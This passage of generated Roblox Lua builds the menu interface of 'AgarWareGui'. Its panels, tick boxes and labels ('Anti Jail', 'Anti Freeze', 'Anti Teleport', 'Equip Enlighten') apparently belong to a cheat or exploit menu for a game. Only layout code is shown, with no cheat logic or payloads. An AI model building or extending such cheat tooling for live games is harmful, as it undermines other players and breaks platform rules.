G2L["e9"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["e9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["e9"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["e9"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["e9"]["Text"] = [[?]]; G2L["e9"]["Name"] = [[EquipEnlightenHelp]]; G2L["e9"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.EquipEnlightenRow.EquipEnlightenButton G2L["ea"] = Instance.new("TextButton", G2L["e8"]); G2L["ea"]["TextSize"] = 14; G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ea"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["ea"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["ea"]["Text"] = [[Equip Enlighten]]; G2L["ea"]["Name"] = [[EquipEnlightenButton]]; G2L["ea"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide G2L["eb"] = Instance.new("Frame", G2L["c8"]); G2L["eb"]["BorderSizePixel"] = 0; G2L["eb"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["eb"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["eb"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0); G2L["eb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["eb"]["Name"] = [[TCOMainRightSide]]; G2L["eb"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.UIListLayout G2L["ec"] = Instance.new("UIListLayout", G2L["eb"]); G2L["ec"]["Padding"] = UDim.new(0, 7); G2L["ec"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup G2L["ed"] = Instance.new("Frame", G2L["eb"]); G2L["ed"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["ed"]["BorderMode"] = Enum.BorderMode.Middle; G2L["ed"]["Size"] = UDim2.new(0, 170, 0, 183); G2L["ed"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["ed"]["Name"] = [[AntiGroup]]; G2L["ed"]["LayoutOrder"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiScript G2L["ee"] = Instance.new("LocalScript", G2L["ed"]); G2L["ee"]["Name"] = [[AntiScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.UIListLayout G2L["ef"] = Instance.new("UIListLayout", G2L["ed"]); G2L["ef"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTitle G2L["f0"] = Instance.new("TextLabel", G2L["ed"]); G2L["f0"]["TextWrapped"] = true; G2L["f0"]["BorderSizePixel"] = 0; G2L["f0"]["TextSize"] = 14; G2L["f0"]["TextScaled"] = true; G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f0"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["f0"]["BackgroundTransparency"] = 0.95; G2L["f0"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["f0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f0"]["Text"] = [[Anti]]; G2L["f0"]["LayoutOrder"] = 1; G2L["f0"]["Name"] = [[AntiTitle]]; G2L["f0"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTitle.AntiMinimize G2L["f1"] = Instance.new("TextButton", G2L["f0"]); G2L["f1"]["BorderSizePixel"] = 0; G2L["f1"]["TextSize"] = 14; G2L["f1"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f1"]["BackgroundTransparency"] = 1; G2L["f1"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["f1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f1"]["Text"] = [[-]]; G2L["f1"]["Name"] = [[AntiMinimize]]; G2L["f1"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow G2L["f2"] = Instance.new("Frame", G2L["ed"]); G2L["f2"]["BorderSizePixel"] = 0; G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f2"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["f2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["f2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f2"]["Name"] = [[AntiNanRow]]; G2L["f2"]["LayoutOrder"] = 3; G2L["f2"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow.AntiNanTickBox G2L["f3"] = Instance.new("TextButton", G2L["f2"]); G2L["f3"]["TextSize"] = 14; G2L["f3"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["f3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f3"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["f3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["f3"]["Text"] = [[]]; G2L["f3"]["Name"] = [[AntiNanTickBox]]; G2L["f3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiNanRow.AntiNanText G2L["f4"] = Instance.new("TextLabel", G2L["f2"]); G2L["f4"]["BorderSizePixel"] = 0; G2L["f4"]["TextSize"] = 14; G2L["f4"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f4"]["BackgroundTransparency"] = 1; G2L["f4"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["f4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f4"]["Text"] = [[Anti Maptide NaN]]; G2L["f4"]["Name"] = [[AntiNanText]]; G2L["f4"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiAccentColor G2L["f5"] = Instance.new("Frame", G2L["ed"]); G2L["f5"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["f5"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["f5"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["f5"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["f5"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["f5"]["Name"] = [[AntiAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow G2L["f6"] = Instance.new("Frame", G2L["ed"]); G2L["f6"]["BorderSizePixel"] = 0; G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["f6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["f6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f6"]["Name"] = [[AntiVisualRow]]; G2L["f6"]["LayoutOrder"] = 3; G2L["f6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow.AntiVisualTickBox G2L["f7"] = Instance.new("TextButton", G2L["f6"]); G2L["f7"]["TextSize"] = 14; G2L["f7"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["f7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f7"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["f7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["f7"]["Text"] = [[]]; G2L["f7"]["Name"] = [[AntiVisualTickBox]]; G2L["f7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVisualRow.AntiVisualText G2L["f8"] = Instance.new("TextLabel", G2L["f6"]); G2L["f8"]["BorderSizePixel"] = 0; G2L["f8"]["TextSize"] = 14; G2L["f8"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f8"]["BackgroundTransparency"] = 1; G2L["f8"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["f8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f8"]["Text"] = [[Anti Visual]]; G2L["f8"]["Name"] = [[AntiVisualText]]; G2L["f8"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow G2L["f9"] = Instance.new("Frame", G2L["ed"]); G2L["f9"]["BorderSizePixel"] = 0; G2L["f9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["f9"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["f9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["f9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["f9"]["Name"] = [[AntiJailRow]]; G2L["f9"]["LayoutOrder"] = 3; G2L["f9"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow.AntiJailTickBox G2L["fa"] = Instance.new("TextButton", G2L["f9"]); G2L["fa"]["TextSize"] = 14; G2L["fa"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["fa"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["fa"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["fa"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["fa"]["Text"] = [[]]; G2L["fa"]["Name"] = [[AntiJailTickBox]]; G2L["fa"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiJailRow.AntiJailText G2L["fb"] = Instance.new("TextLabel", G2L["f9"]); G2L["fb"]["BorderSizePixel"] = 0; G2L["fb"]["TextSize"] = 14; G2L["fb"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["fb"]["BackgroundTransparency"] = 1; G2L["fb"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["fb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["fb"]["Text"] = [[Anti Jail]]; G2L["fb"]["Name"] = [[AntiJailText]]; G2L["fb"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow G2L["fc"] = Instance.new("Frame", G2L["ed"]); G2L["fc"]["BorderSizePixel"] = 0; G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["fc"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["fc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["fc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["fc"]["Name"] = [[AntiFreezeRow]]; G2L["fc"]["LayoutOrder"] = 4; G2L["fc"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow.AntiFreezeTickBox G2L["fd"] = Instance.new("TextButton", G2L["fc"]); G2L["fd"]["TextSize"] = 14; G2L["fd"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["fd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["fd"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["fd"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["fd"]["Text"] = [[]]; G2L["fd"]["Name"] = [[AntiFreezeTickBox]]; G2L["fd"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiFreezeRow.AntiFreezeText G2L["fe"] = Instance.new("TextLabel", G2L["fc"]); G2L["fe"]["BorderSizePixel"] = 0; G2L["fe"]["TextSize"] = 14; G2L["fe"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["fe"]["BackgroundTransparency"] = 1; G2L["fe"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["fe"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["fe"]["Text"] = [[Anti Freeze]]; G2L["fe"]["Name"] = [[AntiFreezeText]]; G2L["fe"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.RedInfoRow G2L["ff"] = Instance.new("Frame", G2L["ed"]); G2L["ff"]["BorderSizePixel"] = 0; G2L["ff"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["ff"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["ff"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["ff"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["ff"]["Name"] = [[RedInfoRow]]; G2L["ff"]["LayoutOrder"] = 20; G2L["ff"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.RedInfoRow.RedInfo G2L["100"] = Instance.new("TextButton", G2L["ff"]); G2L["100"]["TextSize"] = 14; G2L["100"]["TextColor3"] = Color3.fromRGB(255, 0, 0); G2L["100"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["100"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["100"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["100"]["Text"] = [[Red = Auto Reset]]; G2L["100"]["Name"] = [[RedInfo]]; G2L["100"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow G2L["101"] = Instance.new("Frame", G2L["ed"]); G2L["101"]["BorderSizePixel"] = 0; G2L["101"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["101"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["101"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["101"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["101"]["Name"] = [[AntiVampRow]]; G2L["101"]["LayoutOrder"] = 3; G2L["101"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow.AntiVampTickBox G2L["102"] = Instance.new("TextButton", G2L["101"]); G2L["102"]["TextSize"] = 14; G2L["102"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["102"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["102"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["102"]["Text"] = [[]]; G2L["102"]["Name"] = [[AntiVampTickBox]]; G2L["102"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiVampRow.AntiVampText G2L["103"] = Instance.new("TextLabel", G2L["101"]); G2L["103"]["BorderSizePixel"] = 0; G2L["103"]["TextSize"] = 14; G2L["103"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["103"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["103"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["103"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["103"]["BackgroundTransparency"] = 1; G2L["103"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["103"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["103"]["Text"] = [[Anti Vampire]]; G2L["103"]["Name"] = [[AntiVampText]]; G2L["103"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow G2L["104"] = Instance.new("Frame", G2L["ed"]); G2L["104"]["BorderSizePixel"] = 0; G2L["104"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["104"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["104"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["104"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["104"]["Name"] = [[AntiGlitchRow]]; G2L["104"]["LayoutOrder"] = 3; G2L["104"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow.AntiGlitchTickBox G2L["105"] = Instance.new("TextButton", G2L["104"]); G2L["105"]["TextSize"] = 14; G2L["105"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["105"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["105"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["105"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["105"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["105"]["Text"] = [[]]; G2L["105"]["Name"] = [[AntiGlitchTickBox]]; G2L["105"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiGlitchRow.AntiGlitchText G2L["106"] = Instance.new("TextLabel", G2L["104"]); G2L["106"]["BorderSizePixel"] = 0; G2L["106"]["TextSize"] = 14; G2L["106"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["106"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["106"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["106"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["106"]["BackgroundTransparency"] = 1; G2L["106"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["106"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["106"]["Text"] = [[Anti Glitch]]; G2L["106"]["Name"] = [[AntiGlitchText]]; G2L["106"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow G2L["107"] = Instance.new("Frame", G2L["ed"]); G2L["107"]["BorderSizePixel"] = 0; G2L["107"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["107"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["107"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["107"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["107"]["Name"] = [[AntiTeleportRow]]; G2L["107"]["LayoutOrder"] = 3; G2L["107"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow.AntiTeleportTickBox G2L["108"] = Instance.new("TextButton", G2L["107"]); G2L["108"]["TextSize"] = 14; G2L["108"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["108"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["108"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["108"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["108"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["108"]["Text"] = [[]]; G2L["108"]["Name"] = [[AntiTeleportTickBox]]; G2L["108"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainRightSide.AntiGroup.AntiTeleportRow.AntiTeleportText G2L["109"] = Instance.new("TextLabel", G2L["107"]); G2L["109"]["BorderSizePixel"] = 0; G2L["109"]["TextSize"] = 14; G2L["109"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["109"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["109"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["109"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["109"]["BackgroundTransparency"] = 1; G2L["109"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["109"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["109"]["Text"] = [[Anti Teleport]]; G2L["109"]["Name"] = [[AntiTeleportText]]; G2L["109"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage G2L["10a"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["10a"]["Visible"] = false; G2L["10a"]["Active"] = true; G2L["10a"]["BorderSizePixel"] = 0; G2L["10a"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0); G2L["10a"]["Name"] = [[MiscPage]]; G2L["10a"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["10a"]["Size"] = UDim2.new(0, 349, 0, 250); G2L["10a"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["10a"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0); G2L["10a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10a"]["ScrollBarThickness"] = 0; G2L["10a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide G2L["10b"] = Instance.new("Frame", G2L["10a"]); G2L["10b"]["BorderSizePixel"] = 0; G2L["10b"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["10b"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["10b"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["10b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10b"]["Name"] = [[MiscLeftSide]]; G2L["10b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.UIListLayout G2L["10c"] = Instance.new("UIListLayout", G2L["10b"]); G2L["10c"]["Padding"] = UDim.new(0, 7); G2L["10c"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group G2L["10d"] = Instance.new("Frame", G2L["10b"]); G2L["10d"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["10d"]["BorderMode"] = Enum.BorderMode.Middle; G2L["10d"]["Size"] = UDim2.new(0, 170, 0, 103); G2L["10d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["10d"]["Name"] = [[Misc1Group]]; G2L["10d"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Script G2L["10e"] = Instance.new("LocalScript", G2L["10d"]); G2L["10e"]["Name"] = [[Misc1Script]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.UIListLayout G2L["10f"] = Instance.new("UIListLayout", G2L["10d"]); G2L["10f"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.MiscAccentColor G2L["110"] = Instance.new("Frame", G2L["10d"]); G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["110"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["110"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["110"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["110"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["110"]["Name"] = [[MiscAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Title G2L["111"] = Instance.new("TextLabel", G2L["10d"]); G2L["111"]["TextWrapped"] = true; G2L["111"]["BorderSizePixel"] = 0; G2L["111"]["TextSize"] = 14; G2L["111"]["TextScaled"] = true; G2L["111"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["111"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["111"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["111"]["BackgroundTransparency"] = 0.95; G2L["111"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["111"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["111"]["Text"] = [[Misc]]; G2L["111"]["LayoutOrder"] = 1; G2L["111"]["Name"] = [[Misc1Title]]; G2L["111"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Title.Misc1Minimize G2L["112"] = Instance.new("TextButton", G2L["111"]); G2L["112"]["BorderSizePixel"] = 0; G2L["112"]["TextSize"] = 14; G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["112"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["112"]["BackgroundTransparency"] = 1; G2L["112"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["112"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["112"]["Text"] = [[-]]; G2L["112"]["Name"] = [[Misc1Minimize]]; G2L["112"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow G2L["113"] = Instance.new("Frame", G2L["10d"]); G2L["113"]["BorderSizePixel"] = 0; G2L["113"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["113"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["113"]["Position"] = 